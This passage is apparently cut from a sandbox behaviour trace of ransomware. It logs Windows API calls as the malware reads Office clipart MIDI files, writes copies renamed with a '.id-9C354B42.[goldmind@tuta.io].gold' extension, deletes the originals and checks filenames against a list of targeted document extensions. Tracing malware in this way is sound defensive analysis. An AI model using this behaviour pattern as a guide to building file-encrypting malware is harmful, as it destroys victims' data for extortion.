lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.554] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.554] SetEndOfFile (hFile=0x3b4) returned 1 [0094.555] CloseHandle (hObject=0x3b4) returned 1 [0094.555] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.555] SetEndOfFile (hFile=0x230) returned 1 [0094.581] CloseHandle (hObject=0x230) returned 1 [0094.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0094.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.582] lstrlenW (lpString=".doc") returned 4 [0094.582] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.582] lstrlenW (lpString=".docx") returned 5 [0094.582] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.582] lstrlenW (lpString=".pdf") returned 4 [0094.582] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.582] lstrlenW (lpString=".xls") returned 4 [0094.582] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.582] lstrlenW (lpString=".xlsx") returned 5 [0094.582] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.582] lstrlenW (lpString=".ppt") returned 4 [0094.582] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".zip") returned 4 [0094.583] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString=".rar") returned 4 [0094.583] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString=".bz2") returned 4 [0094.583] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString=".7z") returned 3 [0094.583] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".dbf") returned 4 [0094.583] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".1cd") returned 4 [0094.583] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".jpg") returned 4 [0094.583] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".doc") returned 4 [0094.583] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString=".docx") returned 5 [0094.583] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.583] lstrlenW (lpString=".pdf") returned 4 [0094.583] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString=".xls") returned 4 [0094.583] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString=".xlsx") returned 5 [0094.583] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.583] lstrlenW (lpString=".ppt") returned 4 [0094.583] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".zip") returned 4 [0094.583] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString=".rar") returned 4 [0094.583] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.583] lstrlenW (lpString=".bz2") returned 4 [0094.583] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString=".7z") returned 3 [0094.583] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".dbf") returned 4 [0094.583] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".1cd") returned 4 [0094.583] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0094.583] lstrlenW (lpString=".jpg") returned 4 [0094.583] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.583] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.584] lstrlenW (lpString="ROAD_01.MID") returned 11 [0094.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.589] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5983) returned 1 [0094.589] CloseHandle (hObject=0x3a0) returned 1 [0094.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0094.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.593] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.593] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.594] GetLastError () returned 0x0 [0094.594] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x175f, lpOverlapped=0x0) returned 1 [0094.598] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0094.599] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.599] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.599] SetEndOfFile (hFile=0x3b4) returned 1 [0094.599] CloseHandle (hObject=0x3b4) returned 1 [0094.599] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.599] SetEndOfFile (hFile=0x3b8) returned 1 [0094.601] CloseHandle (hObject=0x3b8) returned 1 [0094.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1 [0094.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.601] lstrlenW (lpString=".doc") returned 4 [0094.601] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.601] lstrlenW (lpString=".docx") returned 5 [0094.601] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.601] lstrlenW (lpString=".pdf") returned 4 [0094.601] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.601] lstrlenW (lpString=".xls") returned 4 [0094.601] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.601] lstrlenW (lpString=".xlsx") returned 5 [0094.602] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.602] lstrlenW (lpString=".ppt") returned 4 [0094.602] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".zip") returned 4 [0094.602] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString=".rar") returned 4 [0094.602] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString=".bz2") returned 4 [0094.602] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString=".7z") returned 3 [0094.602] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".dbf") returned 4 [0094.602] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".1cd") returned 4 [0094.602] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".jpg") returned 4 [0094.602] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".doc") returned 4 [0094.602] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString=".docx") returned 5 [0094.602] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.602] lstrlenW (lpString=".pdf") returned 4 [0094.602] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString=".xls") returned 4 [0094.602] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString=".xlsx") returned 5 [0094.602] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.602] lstrlenW (lpString=".ppt") returned 4 [0094.602] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".zip") returned 4 [0094.602] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString=".rar") returned 4 [0094.602] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.602] lstrlenW (lpString=".bz2") returned 4 [0094.602] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString=".7z") returned 3 [0094.602] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".dbf") returned 4 [0094.602] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".1cd") returned 4 [0094.602] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0094.602] lstrlenW (lpString=".jpg") returned 4 [0094.602] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.603] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.603] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0094.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.603] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=10122) returned 1 [0094.604] CloseHandle (hObject=0x3b8) returned 1 [0094.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0094.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.604] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.604] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.604] GetLastError () returned 0x0 [0094.604] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x278a, lpOverlapped=0x0) returned 1 [0094.606] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0094.607] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.607] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.607] SetEndOfFile (hFile=0x3b4) returned 1 [0094.607] CloseHandle (hObject=0x3b4) returned 1 [0094.607] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.607] SetEndOfFile (hFile=0x3b8) returned 1 [0094.609] CloseHandle (hObject=0x3b8) returned 1 [0094.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0094.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString=".doc") returned 4 [0094.610] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.610] lstrlenW (lpString=".docx") returned 5 [0094.610] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.610] lstrlenW (lpString=".pdf") returned 4 [0094.610] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".xls") returned 4 [0094.610] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".xlsx") returned 5 [0094.610] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.610] lstrlenW (lpString=".ppt") returned 4 [0094.610] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString=".zip") returned 4 [0094.610] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".rar") returned 4 [0094.610] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".bz2") returned 4 [0094.610] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.610] lstrlenW (lpString=".7z") returned 3 [0094.610] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString=".dbf") returned 4 [0094.610] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString=".1cd") returned 4 [0094.610] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString=".jpg") returned 4 [0094.610] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString=".doc") returned 4 [0094.610] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.610] lstrlenW (lpString=".docx") returned 5 [0094.610] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.610] lstrlenW (lpString=".pdf") returned 4 [0094.610] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".xls") returned 4 [0094.610] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".xlsx") returned 5 [0094.610] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.610] lstrlenW (lpString=".ppt") returned 4 [0094.610] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.610] lstrlenW (lpString=".zip") returned 4 [0094.610] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".rar") returned 4 [0094.610] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.610] lstrlenW (lpString=".bz2") returned 4 [0094.610] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.610] lstrlenW (lpString=".7z") returned 3 [0094.611] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.611] lstrlenW (lpString=".dbf") returned 4 [0094.611] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.611] lstrlenW (lpString=".1cd") returned 4 [0094.611] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0094.611] lstrlenW (lpString=".jpg") returned 4 [0094.611] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.611] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.611] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0094.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.612] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5058) returned 1 [0094.612] CloseHandle (hObject=0x3b8) returned 1 [0094.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0094.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.612] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.612] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.613] GetLastError () returned 0x0 [0094.613] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x13c2, lpOverlapped=0x0) returned 1 [0094.614] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0094.615] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.615] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.615] SetEndOfFile (hFile=0x3b4) returned 1 [0094.615] CloseHandle (hObject=0x3b4) returned 1 [0094.615] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.615] SetEndOfFile (hFile=0x3b8) returned 1 [0094.617] CloseHandle (hObject=0x3b8) returned 1 [0094.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[goldmind@tuta.io].gold", 